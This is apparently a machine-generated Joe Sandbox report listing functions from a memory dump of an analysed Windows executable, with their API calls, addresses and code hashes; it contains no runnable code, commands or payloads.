Opcode Fuzzy Hash: c6dcd07f1e1abe0ab576f625aa98e7fb1a7a0f484a3a94a1f829852331aceb8c
Instruction Fuzzy Hash: 21414131A0861AABDF15AF64C848BEEBB74FB45334F244219E829A7290C7746950EB91

Function 00FA3874 Relevance: 7.6, APIs: 5, Instructions: 101windowCOMMON

Download Yara Rule

APIs

GetInputState.USER32 ref: 00FA38CB
TranslateAcceleratorW.USER32(?,00000000,?), ref: 00FA3922
TranslateMessage.USER32(?), ref: 00FA394B
DispatchMessageW.USER32(?), ref: 00FA3955
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00FA3966

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: Message$Translate$AcceleratorDispatchInputPeekState
String ID:
API String ID: 2256411358-0
Opcode ID: b4976348c6d576d258c91ed9e9b385b00c209ad7212622d5b3d777b492cdc689
Instruction ID: a8222961002ed6795e81dc3d54faa6a617179952d8b0aef25fde84b9affabc81
Opcode Fuzzy Hash: b4976348c6d576d258c91ed9e9b385b00c209ad7212622d5b3d777b492cdc689
Instruction Fuzzy Hash: ED31C6B1D04345AFEB36CB34D849BB737A9EB0B314F04455DF49682190E3B9D684EB11

Function 00FACF1A Relevance: 7.6, APIs: 5, Instructions: 93networkfileCOMMON

Download Yara Rule

APIs

InternetQueryDataAvailable.WININET(?,?,00000000,00000000,00000000,?,00000000,?,?,?,00FAC21E,00000000), ref: 00FACF38
InternetReadFile.WININET(?,00000000,?,?), ref: 00FACF6F
GetLastError.KERNEL32(?,00000000,?,?,?,00FAC21E,00000000), ref: 00FACFB4
SetEvent.KERNEL32(?,?,00000000,?,?,?,00FAC21E,00000000), ref: 00FACFC8
SetEvent.KERNEL32(?,?,00000000,?,?,?,00FAC21E,00000000), ref: 00FACFF2

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: EventInternet$AvailableDataErrorFileLastQueryRead
String ID:
API String ID: 3191363074-0
Opcode ID: c070b2065cbf8db8bed92027d261b6a8c1277500de0b081ca26dc1ab9cd44aba
Instruction ID: 8134017e5519e02cd549d593034839d111ea2229e5cc164e51dd44a44b78faff
Opcode Fuzzy Hash: c070b2065cbf8db8bed92027d261b6a8c1277500de0b081ca26dc1ab9cd44aba
Instruction Fuzzy Hash: 3A314DB1904209AFDB24DFA5D985AAABBF9EB15351B10442EF51AD3140DB30AD41EBB0

Function 00F91901 Relevance: 7.6, APIs: 5, Instructions: 93sleepwindowCOMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 00F91915
PostMessageW.USER32(00000001,00000201,00000001), ref: 00F919C1
Sleep.KERNEL32(00000000,?,?,?), ref: 00F919C9
PostMessageW.USER32(00000001,00000202,00000000), ref: 00F919DA
Sleep.KERNEL32(00000000,?,?,?,?), ref: 00F919E2

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: MessagePostSleep$RectWindow
String ID:
API String ID: 3382505437-0
Opcode ID: 4ff9ce3a2849a7a1dfb40212bba2fa2d6c0afd8a787cebe00d6c54a6c396d95c
Instruction ID: 91777e01488a4ab13e1da44ec4d3b05c9850647347eb4d46697cdd28d6c6d234
Opcode Fuzzy Hash: 4ff9ce3a2849a7a1dfb40212bba2fa2d6c0afd8a787cebe00d6c54a6c396d95c
Instruction Fuzzy Hash: 0331AF72A0021AEFDF14CFA8CE99ADE3BB5FB44325F104225F925A72D1C7709954EB90

Function 00FB0930 Relevance: 7.6, APIs: 5, Instructions: 69COMMON

Download Yara Rule

APIs

IsWindow.USER32(00000000), ref: 00FB0951
GetForegroundWindow.USER32 ref: 00FB0968
GetDC.USER32(00000000), ref: 00FB09A4
GetPixel.GDI32(00000000,?,00000003), ref: 00FB09B0
ReleaseDC.USER32(00000000,00000003), ref: 00FB09E8

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: Window$ForegroundPixelRelease
String ID:
API String ID: 4156661090-0
Opcode ID: 778064abd396831a90d5bb23594929d17f62b04e904192e692c5fb30a87477b9
Instruction ID: 816d347705af43968114199f8e6272177f19166a4d5e35d52153a97914687180
Opcode Fuzzy Hash: 778064abd396831a90d5bb23594929d17f62b04e904192e692c5fb30a87477b9
Instruction Fuzzy Hash: 35218175A00204AFD714EF65CD85EAEBBE9EF49750F048068F84A97752CB34AC04EF90

Function 00F6CDBD Relevance: 7.6, APIs: 5, Instructions: 68COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 00F6CDC6
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00F6CDE9

Part of subcall function 00F63820: RtlAllocateHeap.NTDLL(00000000,?,01001444,?,00F4FDF5,?,?,00F3A976,00000010,01001440,00F313FC,?,00F313C6,?,00F31129), ref: 00F63852

WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 00F6CE0F
_free.LIBCMT ref: 00F6CE22
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 00F6CE31

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: ByteCharEnvironmentMultiStringsWide$AllocateFreeHeap_free
String ID:
API String ID: 336800556-0
Opcode ID: ff0a92cf47cfbbb1118f4563c237212df8d3b7fb0ce512589ad8e7aa4685c9b4
Instruction ID: d07f85d726826827cc7ff66ebb54f9dfb4592d89d96b0c917592762a49e07802
Opcode Fuzzy Hash: ff0a92cf47cfbbb1118f4563c237212df8d3b7fb0ce512589ad8e7aa4685c9b4
Instruction Fuzzy Hash: 4A01D472A022157F232116BA6D89D7B797DDED6FA13150129F989C7200EA6A8D01B1F0

Function 00F49639 Relevance: 7.6, APIs: 5, Instructions: 66COMMON

Download Yara Rule

APIs

ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,00000000), ref: 00F49693
SelectObject.GDI32(?,00000000), ref: 00F496A2
BeginPath.GDI32(?), ref: 00F496B9
SelectObject.GDI32(?,00000000), ref: 00F496E2

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: ObjectSelect$BeginCreatePath
String ID:
API String ID: 3225163088-0
Opcode ID: bd08838dc90f2fa06c25a3eef665e6de7be1b2ae4b266160afe7e0b28ecdf777
Instruction ID: 1f833d71c485e68d8f4dbe77b5684db6c0cf6727c30a0e4627474b3d0ea8b4bd
Opcode Fuzzy Hash: bd08838dc90f2fa06c25a3eef665e6de7be1b2ae4b266160afe7e0b28ecdf777
Instruction Fuzzy Hash: 8721A73191A305EFDB229F25ED09BAA3F74BB50325F110215F854971E4D3B5D851EF90

Function 00F95711 Relevance: 7.6, APIs: 5, Instructions: 61COMMON

Download Yara Rule

APIs

_memcmp.LIBVCRUNTIME ref: 00F95726
_memcmp.LIBVCRUNTIME ref: 00F95744
_memcmp.LIBVCRUNTIME ref: 00F95757
_memcmp.LIBVCRUNTIME ref: 00F9576F
_memcmp.LIBVCRUNTIME ref: 00F95787

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: _memcmp
String ID:
API String ID: 2931989736-0
Opcode ID: a46967d6594a2b53ddfaa819e23b872cc96cb6ad52fc3c68fcc150d61baf5191
Instruction ID: c94f58478b8800250e259a2f2f448be6de9798ea3be1f5ed481c9ad06dc2d624
Opcode Fuzzy Hash: a46967d6594a2b53ddfaa819e23b872cc96cb6ad52fc3c68fcc150d61baf5191
Instruction Fuzzy Hash: 1B01DB6264160EBAFA0955509E92FBA735D9B617A5B004024FE045A141F730FF14B3A3

Function 00F62DF8 Relevance: 7.6, APIs: 5, Instructions: 53COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00F5F2DE,00F63863,01001444,?,00F4FDF5,?,?,00F3A976,00000010,01001440,00F313FC,?,00F313C6), ref: 00F62DFD
_free.LIBCMT ref: 00F62E32
_free.LIBCMT ref: 00F62E59
SetLastError.KERNEL32(00000000,00F31129), ref: 00F62E66
SetLastError.KERNEL32(00000000,00F31129), ref: 00F62E6F

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: ErrorLast$_free
String ID:
API String ID: 3170660625-0
Opcode ID: 8c2e8feb4d63ce866bd3273c4920e55e6cec88047e890a0ac3ac345915e7ac47
Instruction ID: b5a1cd081173df500862646f7ca9595da4dcd0538bc4ef0a106afd0f69a09613
Opcode Fuzzy Hash: 8c2e8feb4d63ce866bd3273c4920e55e6cec88047e890a0ac3ac345915e7ac47
Instruction Fuzzy Hash: 8E012836A45E0467C75227357D86E2B366DEFE17B1B250038F425A32D2EF3A8C01B160

Function 00F9000E Relevance: 7.5, APIs: 5, Instructions: 47stringCOMMON

Download Yara Rule

APIs

CLSIDFromProgID.OLE32(?,?,?,00000000,?,?,?,-C000001E,00000001,?,00F8FF41,80070057,?,?,?,00F9035E), ref: 00F9002B
ProgIDFromCLSID.OLE32(?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,00F8FF41,80070057,?,?), ref: 00F90046
lstrcmpiW.KERNEL32(?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,00F8FF41,80070057,?,?), ref: 00F90054
CoTaskMemFree.OLE32(00000000,?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,00F8FF41,80070057,?), ref: 00F90064
CLSIDFromString.OLE32(?,?,?,?,?,00000000,?,?,?,-C000001E,00000001,?,00F8FF41,80070057,?,?), ref: 00F90070

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: From$Prog$FreeStringTasklstrcmpi
String ID:
API String ID: 3897988419-0
Opcode ID: 8df11c1cdb20887e1529adc35e68a1c4fafd0a3c6bc93f4ea60481277f11266b
Instruction ID: 1ba4f4742c68d84245f5e6c315cd007b862d43f3d75a33e801c4c8ba48c819f7
Opcode Fuzzy Hash: 8df11c1cdb20887e1529adc35e68a1c4fafd0a3c6bc93f4ea60481277f11266b
Instruction Fuzzy Hash: 2B018F72A00208BFEF108F68DD05FAA7AEDEB44761F144124F909D3260DB71DD40ABA0

Function 00F9E97B Relevance: 7.5, APIs: 5, Instructions: 47sleepCOMMON

Download Yara Rule

APIs

QueryPerformanceCounter.KERNEL32(?), ref: 00F9E997
QueryPerformanceFrequency.KERNEL32(?), ref: 00F9E9A5
Sleep.KERNEL32(00000000), ref: 00F9E9AD
QueryPerformanceCounter.KERNEL32(?), ref: 00F9E9B7
Sleep.KERNEL32 ref: 00F9E9F3

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: PerformanceQuery$CounterSleep$Frequency
String ID:
API String ID: 2833360925-0
Opcode ID: 3379186f8ff7d9c7e46b555e0c5617e71f1af2e083b339d5e5f754311263474e
Instruction ID: 2641d4df9c4d97a53ed404f92dc43e34f3308e9198874dc92532920ec800d6bb
Opcode Fuzzy Hash: 3379186f8ff7d9c7e46b555e0c5617e71f1af2e083b339d5e5f754311263474e
Instruction Fuzzy Hash: E0015731C0162DDBDF40EBE6DD5AAEDBB78FB08310F050946E502B2241CB309950ABA1

Function 00F910F9 Relevance: 7.5, APIs: 5, Instructions: 46memoryCOMMON

Download Yara Rule

APIs

GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 00F91114
GetLastError.KERNEL32(?,00000000,00000000,?,?,00F90B9B,?,?,?), ref: 00F91120
GetProcessHeap.KERNEL32(00000008,?,?,00000000,00000000,?,?,00F90B9B,?,?,?), ref: 00F9112F
HeapAlloc.KERNEL32(00000000,?,00000000,00000000,?,?,00F90B9B,?,?,?), ref: 00F91136
GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 00F9114D

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: HeapObjectSecurityUser$AllocErrorLastProcess
String ID:
API String ID: 842720411-0
Opcode ID: c5592ab2a98ba22b2df340d2582a6c2f2775da9b13c23f9375efa234c3561d0b
Instruction ID: e7d7f97926d6eb8be0a351c720680409d9906bbc47a077e5f8cf1f53e15e5490
Opcode Fuzzy Hash: c5592ab2a98ba22b2df340d2582a6c2f2775da9b13c23f9375efa234c3561d0b
Instruction Fuzzy Hash: 3C016D75500209BFDB114F65DD4EE6A3B6EFF85360B150424FA49C3360DB31DC41AAA0

Function 00F90FB4 Relevance: 7.5, APIs: 5, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

GetTokenInformation.ADVAPI32(?,00000002,?,00000000,?), ref: 00F90FCA
GetLastError.KERNEL32(?,00000002,?,00000000,?), ref: 00F90FD6
GetProcessHeap.KERNEL32(00000008,?,?,00000002,?,00000000,?), ref: 00F90FE5
HeapAlloc.KERNEL32(00000000,?,00000002,?,00000000,?), ref: 00F90FEC
GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?,?,00000002,?,00000000,?), ref: 00F91002

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: HeapInformationToken$AllocErrorLastProcess
String ID:
API String ID: 44706859-0
Opcode ID: 400786bf12b0b6318772ca0ff069f850d3e347a8b572b9418a274bea4645dab5
Instruction ID: f0cf8b190df2e7fd07a609ea1ba6fd70d881e3ae1f76b1278bac349ab3bf2d3f
Opcode Fuzzy Hash: 400786bf12b0b6318772ca0ff069f850d3e347a8b572b9418a274bea4645dab5
Instruction Fuzzy Hash: 2EF06235540305EBDB214FA5DD4EF563B6DFF89761F144424F949C7261CA71DC40DAA0

Function 00F91014 Relevance: 7.5, APIs: 5, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),?,00000000,?), ref: 00F9102A
GetLastError.KERNEL32(?,TokenIntegrityLevel,?,00000000,?), ref: 00F91036
GetProcessHeap.KERNEL32(00000008,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00F91045
HeapAlloc.KERNEL32(00000000,?,TokenIntegrityLevel,?,00000000,?), ref: 00F9104C
GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),00000000,?,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00F91062

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: HeapInformationToken$AllocErrorLastProcess
String ID:
API String ID: 44706859-0
Opcode ID: bb8e2d5f7e0b857f47de851a227f1b86b7c3ab85965eadb9510881d66aa13e4a
Instruction ID: b7070b0cbbfcab6e9c0f0112e945abd31922c6ebb920551d9e97fa2ff4f56800
Opcode Fuzzy Hash: bb8e2d5f7e0b857f47de851a227f1b86b7c3ab85965eadb9510881d66aa13e4a
Instruction Fuzzy Hash: D5F06235540305EBDB215FA5ED4AF563B6DFF89761F140424F949C7261CA72D8409AA0

Function 00FA030F Relevance: 7.5, APIs: 6, Instructions: 41COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(?,?,?,?,00FA017D,?,00FA32FC,?,00000001,00F72592,?), ref: 00FA0324
CloseHandle.KERNEL32(?,?,?,?,00FA017D,?,00FA32FC,?,00000001,00F72592,?), ref: 00FA0331
CloseHandle.KERNEL32(?,?,?,?,00FA017D,?,00FA32FC,?,00000001,00F72592,?), ref: 00FA033E
CloseHandle.KERNEL32(?,?,?,?,00FA017D,?,00FA32FC,?,00000001,00F72592,?), ref: 00FA034B
CloseHandle.KERNEL32(?,?,?,?,00FA017D,?,00FA32FC,?,00000001,00F72592,?), ref: 00FA0358
CloseHandle.KERNEL32(?,?,?,?,00FA017D,?,00FA32FC,?,00000001,00F72592,?), ref: 00FA0365

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: c3ad3fcc27041ec3c8cdd1eff83dc02a0b95e8cdeb02210087b47c7ee1f1b6fc
Instruction ID: 0aeb2e48c00258c130073634ea7236a5d4cf56cd13b74875ad27b74a8072f579
Opcode Fuzzy Hash: c3ad3fcc27041ec3c8cdd1eff83dc02a0b95e8cdeb02210087b47c7ee1f1b6fc
Instruction Fuzzy Hash: 3901A2B2800B159FCB309F66E880812F7F9BF613253158A3FD19652931C771A954EF80

Function 00F6D73A Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 00F6D752

Part of subcall function 00F629C8: RtlFreeHeap.NTDLL(00000000,00000000,?,00F6D7D1,00000000,00000000,00000000,00000000,?,00F6D7F8,00000000,00000007,00000000,?,00F6DBF5,00000000), ref: 00F629DE
Part of subcall function 00F629C8: GetLastError.KERNEL32(00000000,?,00F6D7D1,00000000,00000000,00000000,00000000,?,00F6D7F8,00000000,00000007,00000000,?,00F6DBF5,00000000,00000000), ref: 00F629F0

_free.LIBCMT ref: 00F6D764
_free.LIBCMT ref: 00F6D776
_free.LIBCMT ref: 00F6D788
_free.LIBCMT ref: 00F6D79A

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 6b16d924ea5049960f3fec5e180d636768039d3bbca1a704d226523bad88477d
Instruction ID: eb0b73c048461cc04f4a29c0db57788a319b222139c097f566e2c5e39e875839
Opcode Fuzzy Hash: 6b16d924ea5049960f3fec5e180d636768039d3bbca1a704d226523bad88477d
Instruction Fuzzy Hash: EEF0FF32F4461CAB8669EB68FAC5C267BFDBF44760B940805F048D7501CB24FC80F6A5

Function 00F95C44 Relevance: 7.5, APIs: 5, Instructions: 40windowtimeCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003E9), ref: 00F95C58
GetWindowTextW.USER32(00000000,?,00000100), ref: 00F95C6F
MessageBeep.USER32(00000000), ref: 00F95C87
KillTimer.USER32(?,0000040A), ref: 00F95CA3
EndDialog.USER32(?,00000001), ref: 00F95CBD

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: BeepDialogItemKillMessageTextTimerWindow
String ID:
API String ID: 3741023627-0
Opcode ID: c8e3826e29ff6584c379f69feebbe46623a4e50bc539cede09a22386945fcbb2
Instruction ID: b95e44192bcd50cf9ea1a4ee57d697b2df386b197944adf3b6e465246d4473a1
Opcode Fuzzy Hash: c8e3826e29ff6584c379f69feebbe46623a4e50bc539cede09a22386945fcbb2
